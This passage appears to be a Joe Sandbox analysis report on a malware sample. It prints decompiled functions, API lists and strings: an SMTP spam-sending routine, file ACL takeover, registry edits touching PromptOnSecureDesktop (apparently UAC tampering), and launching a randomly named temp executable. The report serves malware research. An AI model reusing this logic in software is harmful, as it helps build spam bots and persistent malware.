Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

helo %s, xrefs: 0040A803
data, xrefs: 0040A85E
ESMTP, xrefs: 0040AA38
mail from:<%s>, xrefs: 0040A848
rcpt to:<%s>, xrefs: 0040A855
., xrefs: 0040A8CA
localcfg, xrefs: 0040AB0B
Too small respons, xrefs: 0040A9C9
quit, xrefs: 0040A86C
Too big smtp respons (%d bytes), xrefs: 0040A9B1
ehlo %s, xrefs: 0040A7F5
AUTH LOGIN, xrefs: 0040A80C
Incorrect respons, xrefs: 0040AB39
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 006C7A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 006C7A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 006C7AB6
GetLengthSid.ADVAPI32(?), ref: 006C7AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 006C7AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 006C7B08
EqualSid.ADVAPI32(?,?), ref: 006C7B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 006C7B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 006C7B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 006C7B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 006C7B60
LocalFree.KERNEL32(00000000), ref: 006C7B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 006C7B83
GetAce.ADVAPI32(?,?,?), ref: 006C7BB3
EqualSid.ADVAPI32(?,?), ref: 006C7BDA
DeleteAce.ADVAPI32(?,?), ref: 006C7BF3
EqualSid.ADVAPI32(?,?), ref: 006C7C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 006C7C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 006C7CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 006C7CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 006C7CC9
LocalFree.KERNEL32(00000000), ref: 006C7CD7

Strings

D, xrefs: 006C7AAC

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: 072bf31e914df8386078b5fab75ed811f9209995ec7f48c4bf1f34462fc526c6
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 82812B71D0421AAFDB21CFA5DD84FEEBBB9EF08340F14806AE505E6250D7759A41CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

localcfg, xrefs: 00408348
PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
